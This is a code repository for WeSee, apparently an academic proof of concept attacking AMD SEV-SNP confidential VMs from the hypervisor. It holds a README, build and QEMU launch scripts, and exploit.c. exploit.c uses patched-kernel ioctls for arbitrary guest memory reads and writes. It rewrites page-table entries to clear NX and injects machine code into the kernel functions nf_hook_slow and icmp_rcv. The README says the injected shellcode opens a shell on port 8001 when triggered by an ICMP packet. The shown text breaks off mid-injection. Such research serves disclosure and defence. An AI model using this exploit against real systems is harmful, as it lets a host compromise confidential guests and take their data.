├── 20-wired.network ├── userspace_vc ├── Makefile └── exploit.c ├── .gitignore ├── Dockerfile ├── README.md ├── init.sh ├── launch-qemu.sh ├── LICENSE.md └── linux └── host.patch /20-wired.network: -------------------------------------------------------------------------------- 1 | [Match] 2 | Name=enp* 3 | 4 | [Network] 5 | DHCP=yes -------------------------------------------------------------------------------- /userspace_vc/Makefile: -------------------------------------------------------------------------------- 1 | exploit: exploit.c 2 | gcc -o exploit exploit.c -I/usr/include/ 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | linux/guest 2 | linux/host 3 | workdir 4 | qemu 5 | ovmf 6 | qemu_artifacts 7 | source-commit.qemu 8 | source-commit.ovmf -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:23.10@sha256:5cd569b792a8b7b483d90942381cd7e0b03f0a15520d6e23fb7a1464a25a71b1 2 | 3 | 4 | WORKDIR /workdir 5 | 6 | COPY linux/guest /workdir/guest 7 | COPY linux/host /workdir/host 8 | COPY ovmf /workdir/ovmf 9 | 10 | RUN apt-get update 11 | RUN apt-get install -y gcc make git flex bison openssl libssl-dev libelf-dev libudev-dev libpci-dev libiberty-dev autoconf llvm dpkg-dev bc debhelper rsync kmod cpio zstd python-is-python3 python3 nasm iasl uuid-dev 12 | 13 | 14 | WORKDIR /workdir/guest 15 | RUN make -j$(nproc) 16 | 17 | WORKDIR /workdir/host 18 | RUN make -j$(nproc) deb-pkg LOCALVERSION=-custom 19 | 20 | WORKDIR /workdir/ovmf 21 | RUN make -C BaseTools 22 | RUN bash -c ". ./edksetup.sh --reconfig ; nice build -q --cmd-len=64436 -DDEBUG_ON_SERIAL_PORT=TRUE -n $(nproc) -t GCC5 -a X64 -p OvmfPkg/OvmfPkgX64.dsc" 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WeSee 2 | 3 | [Wesee Project Website](https://ahoi-attacks.github.io/wesee/) 4 | 5 | ## Overview 6 | 7 | We introduce a new attack on AMD SEV SNP VMs, exploiting the VC handler . 8 | It allows the hypervisor to perform arbitrary memory reads and writes in the guest VM and does not depend on any application software running inside the VM. 9 | 10 | ## Platform 11 | 12 | We ran our experiments on an AMD EPYC 9124 16-Core Processor. Any other AMD SEV SNP capable processor should work as well. 13 | 14 | We've build our read / write primitives within the host kernel. We expose an API such that userspace can use read and write primitves. Our proof-of-concept injects shellcode into the CVM that can be triggered with an icmp package. The shellcode opens a shell on port 8001. 15 | 16 | ## Prerequisites 17 | 18 | We performed our experiments on Ubuntu 23.10 as host. Every other version will work as well as long as it is capable of building the pinned `qemu` locally. All other build targets are dockerized. 19 | 20 | On Ubuntu 23.10 execute: 21 | 22 | `sudo apt-get install git libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev ninja-build gcc-9 make guestfish` 23 | 24 | add your user to the docker group and relogin or continue as root 25 | 26 | `sudo usermod -a -G docker $USER` 27 | 28 | ## Build 29 | 30 | `./init.sh` 31 | 32 | ## Install 33 | 34 | Install and boot the newly build host kernel. 35 | ``` 36 | sudo dpkg -i linux-headers-6.5.0-rc2-snp-host-ad9c0bf475ec-custom_6.5.0-rc2-gad9c0bf475ec-1_amd64.deb 37 | sudo dpkg -i linux-image-6.5.0-rc2-snp-host-ad9c0bf475ec-custom_6.5.0-rc2-gad9c0bf475ec-1_amd64.deb 38 | sudo dpkg -i linux-libc-dev_6.5.0-rc2-gad9c0bf475ec-1_amd64.deb 39 | ``` 40 | ## Boot the guest 41 | 42 | If you boot the image for the first time login and install netcat 43 | 44 | `apt update; apt install netcat-openbsd` 45 | 46 | ## Run the Exploit 47 | ```bash 48 | cd userspace_vc 49 | make 50 | sudo chmod 666 /dev/kvm 51 | ./exploit 52 | ``` 53 | -------------------------------------------------------------------------------- /init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | QEMU_GIT_URL="https://github.com/AMDESE/qemu.git" 5 | OVMF_GIT_URL="https://github.com/AMDESE/ovmf.git" 6 | LINUX_GIT_URL="https://github.com/AMDESE/linux.git" 7 | 8 | 9 | run_cmd() 10 | { 11 | echo "$*" 12 | 13 | eval "$*" || { 14 | echo "ERROR: $*" 15 | exit 1 16 | } 17 | } 18 | 19 | build_install_qemu() 20 | { 21 | DEST="${PWD}/qemu_artifacts" 22 | 23 | MAKE="make -j $(getconf _NPROCESSORS_ONLN) LOCALVERSION=" 24 | 25 | pushd qemu >/dev/null 26 | run_cmd CC=gcc-9 ./configure --target-list=x86_64-softmmu --prefix=$DEST --enable-slirp 27 | run_cmd $MAKE 28 | run_cmd $MAKE install 29 | 30 | COMMIT=$(git log --format="%h" -1 HEAD) 31 | run_cmd echo $COMMIT >../source-commit.qemu 32 | popd >/dev/null 33 | } 34 | 35 | if [ -d "linux/guest" ] && [ -d "linux/host" ] && [ -d "qemu" ] && [ -d "ovmf" ]; then 36 | pushd linux/guest 37 | echo "Cleaning guest kernel" 38 | make clean && make mrproper 39 | popd 40 | pushd linux/host 41 | echo "Cleaning host kernel" 42 | make clean && make mrproper 43 | popd 44 | else 45 | git clone ${LINUX_GIT_URL} linux/guest 46 | cp -r linux/guest linux/host 47 | git clone ${QEMU_GIT_URL} 48 | git clone ${OVMF_GIT_URL} 49 | fi 50 | 51 | cp linux/config/guest.conf linux/guest/.config 52 | cp linux/config/host.conf linux/host/.config 53 | 54 | pushd linux/host 55 | git checkout ad9c0bf475ecde466a065af44fc94918f109c4c9 56 | echo "applying host kernel patch" 57 | git apply ../host.patch 58 | popd 59 | 60 | pushd linux/guest 61 | git checkout ad9c0bf475ecde466a065af44fc94918f109c4c9 62 | popd 63 | 64 | pushd qemu 65 | git checkout 94bec6ae7a81872ca0df2655dac18b2dea8c3090 66 | popd 67 | 68 | pushd ovmf 69 | git checkout 80318fcdf1bccf5d503197825d62a157efd27c4b 70 | git submodule update --init --recursive 71 | popd 72 | 73 | build_install_qemu 74 | 75 | DOCKER_BUILDKIT=1 docker build . --progress=plain -t artifact/intfail:v1.0 --security-opt apparmor=unconfined 76 | 77 | id=$(docker create artifact/intfail:v1.0) 78 | docker cp $id:/workdir - > artifact.tar 79 | docker rm -v $id 80 | 81 | tar -xvf artifact.tar 82 | rm -f artifact.tar 83 | 84 | wget https://cloud.debian.org/images/cloud/trixie/daily/latest/debian-13-generic-amd64-daily.qcow2 85 | virt-customize -a debian-13-generic-amd64-daily.qcow2 --root-password password:1234 86 | sudo virt-copy-in -a debian-13-generic-amd64-daily.qcow2 20-wired.network /etc/systemd/network 87 | 88 | mkdir -p qemu_artifacts/etc/qemu 89 | echo 'allow virbr0' > qemu_artifacts/etc/qemu/bridge.conf -------------------------------------------------------------------------------- /launch-qemu.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # user changeable parameters 5 | # 6 | # Stolen from https://github.com/AMDESE/AMDSEV/blob/snp-latest/launch-qemu.sh 7 | 8 | HDA="/home/amd/fedora-30.raw" 9 | MEM="2048" 10 | SMP="4" 11 | VNC="" 12 | CONSOLE="serial" 13 | USE_VIRTIO="1" 14 | DISCARD="none" 15 | USE_DEFAULT_NETWORK="0" 16 | CPU_MODEL="EPYC-v4" 17 | 18 | SEV="0" 19 | SEV_ES="0" 20 | SEV_SNP="0" 21 | ALLOW_DEBUG="0" 22 | USE_GDB="0" 23 | 24 | EXEC_PATH="qemu_artifacts/" 25 | UEFI_PATH="workdir/ovmf/Build/OvmfX64/DEBUG_GCC5/FV" 26 | 27 | usage() { 28 | echo "$0 [options]" 29 | echo "Available :" 30 | echo " -sev launch SEV guest" 31 | echo " -sev-es launch SEV guest" 32 | echo " -sev-snp launch SNP guest" 33 | echo " -enable-discard for SNP, discard memory after conversion. (worse boot-time performance, but less memory usage)" 34 | echo " -bios the bios to use (default $UEFI_PATH)" 35 | echo " -hda PATH hard disk file (default $HDA)" 36 | echo " -mem MEM guest memory size in MB (default $MEM)" 37 | echo " -smp NCPUS number of virtual cpus (default $SMP)" 38 | echo " -cpu CPU_MODEL QEMU CPU model/type to use (default $CPU_MODEL)." 39 | echo " You can also specify additional CPU flags, e.g. -cpu $CPU_MODEL,+avx512f,+avx512dq" 40 | echo " -allow-debug dump vmcb on exit and enable the trace" 41 | echo " -kernel PATH kernel to use" 42 | echo " -initrd PATH initrd to use" 43 | echo " -append ARGS kernel command line arguments to use" 44 | echo " -cdrom PATH CDROM image" 45 | echo " -default-network enable default usermode networking" 46 | echo " (Requires that QEMU is built on a host that supports libslirp-dev 4.7 or newer)" 47 | exit 1 48 | } 49 | 50 | add_opts() { 51 | echo -n "$* " >> ${QEMU_CMDLINE} 52 | } 53 | 54 | exit_from_int() { 55 | rm -rf ${QEMU_CMDLINE} 56 | # restore the mapping 57 | stty intr ^c 58 | exit 1 59 | } 60 | 61 | run_cmd () { 62 | $* 63 | if [ $? -ne 0 ]; then 64 | echo "command $* failed" 65 | exit 1 66 | fi 67 | } 68 | 69 | get_cbitpos() { 70 | modprobe cpuid 71 | # 72 | # Get C-bit position directly from the hardware 73 | # Reads of /dev/cpu/x/cpuid have to be 16 bytes in size 74 | # and the seek position represents the CPUID function 75 | # to read. 76 | # The skip parameter of DD skips ibs-sized blocks, so 77 | # can't directly go to 0x8000001f function (since it 78 | # is not a multiple of 16). So just start at 0x80000000 79 | # function and read 32 functions to get to 0x8000001f 80 | # To get to EBX, which contains the C-bit position, skip 81 | # the first 4 bytes (EAX) and then convert 4 bytes. 82 | # 83 | 84 | EBX=$(dd if=/dev/cpu/0/cpuid ibs=16 count=32 skip=134217728 | tail -c 16 | od -An -t u4 -j 4 -N 4 | sed -re 's|^ *||') 85 | CBITPOS=$((EBX & 0x3f)) 86 | } 87 | 88 | trap exit_from_int SIGINT 89 | 90 | if [ `id -u` -ne 0 ]; then 91 | echo "Must be run as root!" 92 | exit 1 93 | fi 94 | 95 | while [ -n "$1" ]; do 96 | case "$1" in 97 | -sev-snp) SEV_SNP="1" 98 | SEV_ES="1" 99 | SEV="1" 100 | ;; 101 | -enable-discard) 102 | DISCARD="both" 103 | ;; 104 | -sev-es) SEV_ES="1" 105 | SEV="1" 106 | ;; 107 | -sev) SEV="1" 108 | ;; 109 | -hda) HDA="$2" 110 | shift 111 | ;; 112 | -mem) MEM="$2" 113 | shift 114 | ;; 115 | -smp) SMP="$2" 116 | shift 117 | ;; 118 | -cpu) CPU_MODEL="$2" 119 | shift 120 | ;; 121 | -bios) UEFI_PATH="$2" 122 | shift 123 | ;; 124 | -allow-debug) ALLOW_DEBUG="1" 125 | ;; 126 | -kernel) KERNEL_FILE=$2 127 | shift 128 | ;; 129 | -initrd) INITRD_FILE=$2 130 | shift 131 | ;; 132 | -append) APPEND=$2 133 | shift 134 | ;; 135 | -cdrom) CDROM_FILE="$2" 136 | shift 137 | ;; 138 | -default-network) 139 | USE_DEFAULT_NETWORK="1" 140 | ;; 141 | *) usage 142 | ;; 143 | esac 144 | 145 | shift 146 | done 147 | 148 | TMP="$EXEC_PATH/bin/qemu-system-x86_64" 149 | QEMU_EXE="$(readlink -e $TMP)" 150 | [ -z "$QEMU_EXE" ] && { 151 | echo "Can't locate qemu executable [$TMP]" 152 | usage 153 | } 154 | 155 | [ -n "$HDA" ] && { 156 | TMP="$HDA" 157 | HDA="$(readlink -e $TMP)" 158 | [ -z "$HDA" ] && { 159 | echo "Can't locate guest image file [$TMP]" 160 | usage 161 | } 162 | 163 | GUEST_NAME="$(basename $TMP | sed -re 's|\.[^\.]+$||')" 164 | } 165 | 166 | [ -n "$CDROM_FILE" ] && { 167 | TMP="$CDROM_FILE" 168 | CDROM_FILE="$(readlink -e $TMP)" 169 | [ -z "$CDROM_FILE" ] && { 170 | echo "Can't locate CD-Rom file [$TMP]" 171 | usage 172 | } 173 | 174 | [ -z "$GUEST_NAME" ] && GUEST_NAME="$(basename $TMP | sed -re 's|\.[^\.]+$||')" 175 | } 176 | 177 | TMP="$UEFI_PATH/OVMF_CODE.fd" 178 | UEFI_CODE="$(readlink -e $TMP)" 179 | [ -z "$UEFI_CODE" ] && { 180 | echo "Can't locate UEFI code file [$TMP]" 181 | usage 182 | } 183 | 184 | [ -e "./$GUEST_NAME.fd" ] || { 185 | TMP="$UEFI_PATH/OVMF_VARS.fd" 186 | UEFI_VARS="$(readlink -e $TMP)" 187 | [ -z "$UEFI_VARS" ] && { 188 | echo "Can't locate UEFI variable file [$TMP]" 189 | usage 190 | } 191 | 192 | run_cmd "cp $UEFI_VARS ./$GUEST_NAME.fd" 193 | } 194 | UEFI_VARS="$(readlink -e ./$GUEST_NAME.fd)" 195 | 196 | if [ "$ALLOW_DEBUG" = "1" ]; then 197 | # This will dump all the VMCB on VM exit 198 | echo 1 > /sys/module/kvm_amd/parameters/dump_all_vmcbs 199 | 200 | # Enable some KVM tracing to the debug 201 | #echo kvm: >/sys/kernel/debug/tracing/set_event 202 | #echo kvm:* >/sys/kernel/debug/tracing/set_event 203 | #echo kvm:kvm_page_fault >/sys/kernel/debug/tracing/set_event 204 | #echo >/sys/kernel/debug/tracing/set_event 205 | #echo > /sys/kernel/debug/tracing/trace 206 | #echo 1 > /sys/kernel/debug/tracing/tracing_on 207 | fi 208 | 209 | # we add all the qemu command line options into a file 210 | QEMU_CMDLINE=/tmp/cmdline.$$ 211 | rm -rf $QEMU_CMDLINE 212 | 213 | add_opts "$QEMU_EXE" 214 | 215 | # Basic virtual machine property 216 | add_opts "-enable-kvm -cpu ${CPU_MODEL} -machine q35" 217 | 218 | # add number of VCPUs 219 | [ -n "${SMP}" ] && add_opts "-smp ${SMP},maxcpus=255" 220 | 221 | # define guest memory 222 | add_opts "-m ${MEM}M,slots=5,maxmem=$((${MEM} + 8192))M" 223 | 224 | # don't reboot for SEV-ES guest 225 | add_opts "-no-reboot" 226 | 227 | # The OVMF binary, including the non-volatile variable store, appears as a 228 | # "normal" qemu drive on the host side, and it is exposed to the guest as a 229 | # persistent flash device. 230 | add_opts "-drive if=pflash,format=raw,unit=0,file=${UEFI_CODE},readonly" 231 | add_opts "-drive if=pflash,format=raw,unit=1,file=${UEFI_VARS}" 232 | 233 | # add CDROM if specified 234 | [ -n "${CDROM_FILE}" ] && add_opts "-drive file=${CDROM_FILE},media=cdrom -boot d" 235 | 236 | # NOTE: as of QEMU 7.2.0, libslirp-dev 4.7+ is needed, but fairly recent 237 | # distros like Ubuntu 20.04 still only provide 4.1, so only enable 238 | # usermode network if specifically requested. 239 | if [ "$USE_DEFAULT_NETWORK" = "1" ]; then 240 | #echo "guest port 22 is fwd to host 8000..." 241 | #add_opts "-netdev user,id=vmnic,hostfwd=tcp::8000-:22,hostfwd=tcp::8001-:8001 -device e1000,netdev=vmnic,romfile=" 242 | add_opts "-netdev bridge,id=hn0,br=virbr0 -device virtio-net-pci,netdev=hn0,id=nic1" 243 | #add_opts " -netdev user,id=vmnic " 244 | #add_opts " -device virtio-net-pci,disable-legacy=on,iommu_platform=true,netdev=vmnic,romfile=" 245 | #add_opts " -device virtio-net-pci,netdev=mynet0 " 246 | #add_opts " -netdev user,id=mynet0,hostfwd=tcp::10027-:22 " 247 | fi 248 | 249 | 250 | 251 | add_opts " -device virtio-blk,num-queues=1,drive=drive1 " 252 | add_opts " -drive file=${HDA},if=none,format=qcow2,id=drive1 " 253 | # If harddisk file is specified then add the HDD drive 254 | #if [ -n "${HDA}" ]; then 255 | # if [ "$USE_VIRTIO" = "1" ]; then 256 | # if [[ ${HDA} = *"qcow2" ]]; then 257 | # add_opts "-drive file=${HDA},if=none,id=disk0,format=qcow2" 258 | # else 259 | # add_opts "-drive file=${HDA},if=none,id=disk0,format=raw" 260 | # fi 261 | # add_opts "-device virtio-scsi-pci,id=scsi0,disable-legacy=on,iommu_platform=true" 262 | # add_opts "-device scsi-hd,drive=disk0" 263 | # else 264 | # if [[ ${HDA} = *"qcow2" ]]; then 265 | # add_opts "-drive file=${HDA},format=qcow2" 266 | # else 267 | # add_opts "-drive file=${HDA},format=raw" 268 | # fi 269 | # fi 270 | #fi 271 | 272 | # If this is SEV guest then add the encryption device objects to enable support 273 | if [ ${SEV} = "1" ]; then 274 | add_opts "-machine memory-encryption=sev0,vmport=off" 275 | get_cbitpos 276 | 277 | if [ "${ALLOW_DEBUG}" = "1" -o "${SEV_ES}" = 1 ]; then 278 | POLICY=$((0x01)) 279 | [ "${ALLOW_DEBUG}" = "1" ] && POLICY=$((POLICY & ~0x01)) 280 | [ "${SEV_ES}" = "1" ] && POLICY=$((POLICY | 0x04)) 281 | SEV_POLICY=$(printf ",policy=%#x" $POLICY) 282 | fi 283 | 284 | if [ "${SEV_SNP}" = 1 ]; then 285 | add_opts "-object memory-backend-memfd-private,id=ram1,size=${MEM}M,share=true" 286 | add_opts "-object sev-snp-guest,id=sev0,cbitpos=${CBITPOS},reduced-phys-bits=1,discard=${DISCARD}" 287 | add_opts "-machine memory-backend=ram1,kvm-type=protected" 288 | else 289 | add_opts "-object sev-guest,id=sev0${SEV_POLICY},cbitpos=${CBITPOS},reduced-phys-bits=1" 290 | fi 291 | fi 292 | 293 | # if -kernel arg is specified then use the kernel provided in command line for boot 294 | if [ "${KERNEL_FILE}" != "" ]; then 295 | add_opts "-kernel $KERNEL_FILE" 296 | if [ -n "$APPEND" ]; then 297 | add_opts "-append \"$APPEND\"" 298 | else 299 | add_opts "-append \"console=ttyS0 earlyprintk=serial root=/dev/vda1\"" 300 | fi 301 | [ -n "${INITRD_FILE}" ] && add_opts "-initrd ${INITRD_FILE}" 302 | fi 303 | 304 | # if console is serial then disable graphical interface 305 | if [ "${CONSOLE}" = "serial" ]; then 306 | add_opts "-nographic" 307 | else 308 | add_opts "-vga ${CONSOLE}" 309 | fi 310 | 311 | # start monitor on pty and named socket 'monitor' 312 | add_opts "-monitor pty -monitor unix:monitor,server,nowait" 313 | 314 | # log the console output in stdout.log 315 | QEMU_CONSOLE_LOG=`pwd`/stdout.log 316 | 317 | # save the command line args into log file 318 | cat $QEMU_CMDLINE | tee ${QEMU_CONSOLE_LOG} 319 | echo | tee -a ${QEMU_CONSOLE_LOG} 320 | 321 | #touch /tmp/events 322 | #add_opts "-trace events=/tmp/events" 323 | 324 | # map CTRL-C to CTRL ] 325 | echo "Mapping CTRL-C to CTRL-]" 326 | stty intr ^] 327 | 328 | echo "Launching VM ..." 329 | echo " $QEMU_CMDLINE" 330 | sleep 1 331 | bash ${QEMU_CMDLINE} 2>&1 | tee -a ${QEMU_CONSOLE_LOG} 332 | 333 | # restore the mapping 334 | stty intr ^c 335 | 336 | rm -rf ${QEMU_CMDLINE} 337 | -------------------------------------------------------------------------------- /userspace_vc/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | uint64_t kernel_base_virt; 20 | uint64_t kernel_base_phys; 21 | uint64_t kernel_page_offset_virt; 22 | uint64_t init_top_pgt_cr3; 23 | 24 | // Bit 63 is the NX bit 25 | // Bit 51 is the SME enable bit (probably) 26 | 27 | /* struct kvm_vc_leak { 28 | __u64 leak_addr; 29 | __u64 leak_data; 30 | __u8 read; 31 | __u64 virtual_kaslr_base; 32 | __u64 physcial_kaslr_base; 33 | }; */ 34 | 35 | // tk_core offset from kernel_base_virt 0x26e3080 36 | // offset to tkr_mono.base should be 5*8, calculated it wrong offset is probably 0x30 37 | 38 | uint64_t reset_pfn_cnt(int fd){ 39 | return ioctl(fd, KVM_VC_SET_PF_CNT); 40 | } 41 | 42 | uint64_t get_pfn_cnt(int fd){ 43 | return ioctl(fd, KVM_VC_GET_PF_CNT); 44 | } 45 | 46 | uint64_t reset_vc_cnt(int fd){ 47 | return ioctl(fd, KVM_VC_SET_VC_CNT); 48 | } 49 | 50 | uint64_t get_vc_cnt(int fd){ 51 | return ioctl(fd, KVM_VC_GET_VC_CNT); 52 | } 53 | 54 | uint64_t lock_write(int fd){ 55 | return ioctl(fd, KVM_VC_WRITE_LOCK); 56 | } 57 | 58 | 59 | uint64_t unlock_write(int fd){ 60 | return ioctl(fd, KVM_VC_WRITE_UNLOCK); 61 | } 62 | 63 | uint64_t read_addr(int fd, uint64_t virtual_addr){ 64 | struct kvm_vc_leak main_struct; 65 | 66 | main_struct.leak_addr = virtual_addr; 67 | main_struct.read = 1; 68 | while(ioctl(fd, KVM_VC_SET_STUFF, (int32_t*)&main_struct) == -1){ 69 | //printf("Oh dear, something went wrong with ioctl()! %s\n", strerror(errno)); 70 | //exit(-1); 71 | usleep(100000); 72 | } 73 | while(ioctl(fd, KVM_VC_GET_STUFF, (int32_t*)&main_struct) == -1){ 74 | //sched_yield(); 75 | usleep(100000); 76 | } 77 | 78 | return main_struct.leak_data; 79 | } 80 | 81 | void write_addr(int fd, uint64_t virtual_addr, uint64_t data, bool sync){ 82 | struct kvm_vc_leak main_struct; 83 | 84 | main_struct.leak_addr = virtual_addr; 85 | main_struct.leak_data = data; 86 | main_struct.read = 0; 87 | while(ioctl(fd, KVM_VC_SET_STUFF, (int32_t*)&main_struct) == -1){ 88 | //printf("Oh dear, something went wrong with ioctl()! %s\n", strerror(errno)); 89 | //exit(-1); 90 | usleep(100000); 91 | } 92 | if (sync){ 93 | // for sync 94 | while(ioctl(fd, KVM_VC_GET_STUFF, (int32_t*)&main_struct) == -1){ 95 | //sched_yield(); 96 | usleep(100000); 97 | } 98 | } 99 | printf("[+]written 0x%lx to 0x%lx\n",data,virtual_addr); 100 | } 101 | 102 | // 0xffffffff81bd6040 : 103 | // 0xffffffff81000000 : 104 | uint64_t get_nf_hook_slow(void){ 105 | return kernel_base_virt + 0xbd6040; 106 | } 107 | 108 | // 0xffffffff81c46cb0 : 109 | // 0xffffffff81000000 : 110 | uint64_t get_icmp_rcv(void){ 111 | return kernel_base_virt + 0xc46c70; 112 | } 113 | 114 | //*(uint64_t*)addr = 0x000001b8fa1e0ff3; 115 | //*(uint64_t*)(addr+8) = 0x909090909090c300; 116 | 117 | void do_page_walk_and_add_w(int fd, uint64_t virtual_addr){ 118 | // 48 bits virtual paging = 9 + 9 + 9 + 9 + 12 119 | uint16_t offset_lv4,offset_lv3,offset_lv2,offset_lv1; 120 | uint64_t next_pt_addr,new_addr; 121 | 122 | offset_lv4 = ((virtual_addr >> 39) & 0x1FF) << 3; 123 | offset_lv3 = ((virtual_addr >> 30) & 0x1FF) << 3; 124 | offset_lv2 = ((virtual_addr >> 21) & 0x1FF) << 3; 125 | offset_lv1 = ((virtual_addr >> 12) & 0x1FF) << 3; 126 | 127 | printf("[+]0x%x offset lv4\n",offset_lv4); 128 | new_addr = init_top_pgt_cr3+offset_lv4; 129 | next_pt_addr = read_addr(fd,new_addr); 130 | printf("[+]0x%lx lv4 page table entry\n",next_pt_addr); 131 | next_pt_addr &= ~(1ULL<<63); 132 | next_pt_addr |= (1ULL << 1); 133 | printf("[+]0x%lx lv4 page table entry after modification\n",next_pt_addr); 134 | write_addr(fd,new_addr,next_pt_addr,true); 135 | next_pt_addr &= ~(1ULL<<51); 136 | next_pt_addr &= ~(0xFFFULL); 137 | 138 | printf("[+]0x%x offset lv3\n",offset_lv3); 139 | new_addr = kernel_page_offset_virt+next_pt_addr+offset_lv3; 140 | next_pt_addr = read_addr(fd,new_addr); 141 | printf("[+]0x%lx lv3 page table entry\n",next_pt_addr); 142 | next_pt_addr &= ~(1ULL<<63); 143 | next_pt_addr |= (1ULL << 1); 144 | printf("[+]0x%lx lv3 page table entry after modification\n",next_pt_addr); 145 | write_addr(fd,new_addr,next_pt_addr,true); 146 | if (next_pt_addr & (1ULL << 7)){ 147 | printf("[+]Page is Mapped as 1GiB ... returning\n"); 148 | return; 149 | } 150 | next_pt_addr &= ~(1ULL<<51); 151 | next_pt_addr &= ~(0xFFFULL); 152 | 153 | 154 | printf("[+]0x%x offset lv2\n",offset_lv2); 155 | new_addr = kernel_page_offset_virt+next_pt_addr+offset_lv2; 156 | next_pt_addr = read_addr(fd,new_addr); 157 | printf("[+]0x%lx lv2 page table entry\n",next_pt_addr); 158 | next_pt_addr &= ~(1ULL<<63); 159 | next_pt_addr |= (1ULL << 1); 160 | printf("[+]0x%lx lv2 page table entry after modification\n",next_pt_addr); 161 | write_addr(fd,new_addr,next_pt_addr,true); 162 | if (next_pt_addr & (1ULL << 7)){ 163 | printf("[+]Page is Mapped as 2MiB ... returning\n"); 164 | return; 165 | } 166 | next_pt_addr &= ~(1ULL<<51); 167 | next_pt_addr &= ~(0xFFFULL); 168 | 169 | printf("[+] 0x%x offset lv1\n",offset_lv1); 170 | new_addr = kernel_page_offset_virt+next_pt_addr+offset_lv1; 171 | next_pt_addr = read_addr(fd,new_addr); 172 | printf("[+]0x%lx lv1 page table entry\n",next_pt_addr); 173 | next_pt_addr &= ~(1ULL<<63); 174 | next_pt_addr |= (1ULL << 1); 175 | printf("[+]0x%lx lv1 page table entry after modification\n",next_pt_addr); 176 | write_addr(fd,new_addr,next_pt_addr,true); 177 | next_pt_addr &= ~(1ULL<<51); 178 | next_pt_addr &= ~(0xFFFULL); 179 | 180 | return; 181 | 182 | } 183 | 184 | void leak_page_offset_base(int fd){ 185 | struct kvm_vc_leak main_struct; 186 | 187 | main_struct.leak_addr = kernel_base_virt + 0x1ae2200; // 0x1ae1200/0x1ae2200 page_offset_base string 188 | main_struct.read = 1; 189 | if(ioctl(fd, KVM_VC_SET_STUFF, (int32_t*)&main_struct) == -1){ 190 | printf("[-]Oh dear, something went wrong with ioctl()! %s\n", strerror(errno)); 191 | exit(-1); 192 | } 193 | while(ioctl(fd, KVM_VC_GET_STUFF, (int32_t*)&main_struct) == -1){ 194 | //sched_yield(); 195 | usleep(100000); 196 | } 197 | 198 | kernel_page_offset_virt = main_struct.leak_data; 199 | printf("[+]memory page_offset KASLR base %lx\n",kernel_page_offset_virt); 200 | init_top_pgt_cr3 = kernel_page_offset_virt + 0x1c3e000 + kernel_base_phys; 201 | //init_top_pgt_cr3 = kernel_base_virt + 0x1c3e000; 202 | printf("[+]cr3 virtual address %lx\n", init_top_pgt_cr3); 203 | 204 | return; 205 | } 206 | 207 | void init_global_state(int fd){ 208 | struct kvm_vc_leak main_struct; 209 | 210 | if(ioctl(fd, KVM_VC_GET_KASLR, (int32_t*)&main_struct) == -1){ 211 | printf("[-]Oh dear, something went wrong with ioctl()! %s\n", strerror(errno)); 212 | exit(-1); 213 | } 214 | 215 | kernel_base_phys = main_struct.physcial_kaslr_base; 216 | kernel_base_virt = main_struct.virtual_kaslr_base; 217 | 218 | printf("[+]physical KASLR base %lx\n",kernel_base_phys); 219 | printf("[+]virtual KASLR base %lx\n",kernel_base_virt); 220 | return; 221 | } 222 | 223 | void read_benchmark(int fd, bool lock){ 224 | time_t rawtime_init,rawtime; 225 | uint64_t count = 0; 226 | time(&rawtime_init); 227 | time(&rawtime); 228 | if (lock) 229 | lock_write(fd); 230 | while (rawtime-rawtime_init < 10) 231 | { 232 | read_addr(fd,get_icmp_rcv()); 233 | time(&rawtime); 234 | count++; 235 | } 236 | if (lock) 237 | unlock_write(fd); 238 | printf("[+]got %ld reads in 10 seconds\n",count); 239 | } 240 | 241 | void write_benchmark(int fd, bool lock){ 242 | time_t rawtime_init,rawtime; 243 | uint64_t count = 0; 244 | time(&rawtime_init); 245 | time(&rawtime); 246 | if (lock) 247 | lock_write(fd); 248 | while (rawtime-rawtime_init < 10) 249 | { 250 | write_addr(fd,get_icmp_rcv(),0x909090c3fa1e0ff3,false); 251 | time(&rawtime); 252 | count++; 253 | } 254 | if (lock) 255 | unlock_write(fd); 256 | printf("[+]got %ld writes in 10 seconds\n",count); 257 | } 258 | 259 | 260 | void do_firewall_attack(int fd){ 261 | struct timeval start, end; 262 | long mtime, seconds, useconds; 263 | reset_pfn_cnt(fd); 264 | reset_vc_cnt(fd); 265 | 266 | gettimeofday(&start, NULL); 267 | 268 | do_page_walk_and_add_w(fd,get_nf_hook_slow()); 269 | 270 | gettimeofday(&end, NULL); 271 | seconds = end.tv_sec - start.tv_sec; 272 | useconds = end.tv_usec - start.tv_usec; 273 | mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5; 274 | printf("[+]Elapsed time for page-walk and modify NX: %ld milliseconds\n", mtime); 275 | 276 | gettimeofday(&start, NULL); 277 | write_addr(fd,get_nf_hook_slow(),0x000001b8fa1e0ff3,false); 278 | write_addr(fd,get_nf_hook_slow()+8,0x909090909090c300,false); 279 | gettimeofday(&end, NULL); 280 | 281 | seconds = end.tv_sec - start.tv_sec; 282 | useconds = end.tv_usec - start.tv_usec; 283 | mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5; 284 | printf("[+]Elapsed time for injecting code: %ld milliseconds\n", mtime); 285 | printf("[+]total number of page faults during exploit %ld\n",get_pfn_cnt(fd)); 286 | printf("[+]total number of VC's during exploit %ld\n",get_vc_cnt(fd)); 287 | } 288 | 289 | void do_shellcode_attack(int fd){ 290 | struct timeval start, end; 291 | long mtime, seconds, useconds; 292 | 293 | reset_pfn_cnt(fd); 294 | reset_vc_cnt(fd); 295 | 296 | gettimeofday(&start, NULL); 297 | 298 | do_page_walk_and_add_w(fd,get_icmp_rcv()); 299 | 300 | gettimeofday(&end, NULL); 301 | seconds = end.tv_sec - start.tv_sec; 302 | useconds = end.tv_usec - start.tv_usec; 303 | mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5; 304 | printf("[+]Elapsed time for page-walk and modify NX: %ld milliseconds\n", mtime); 305 | 306 | gettimeofday(&start, NULL); 307 | 308 | lock_write(fd); 309 | write_addr(fd,get_icmp_rcv()+0x0,0x20be5541fa1e0ff3,false); 310 | 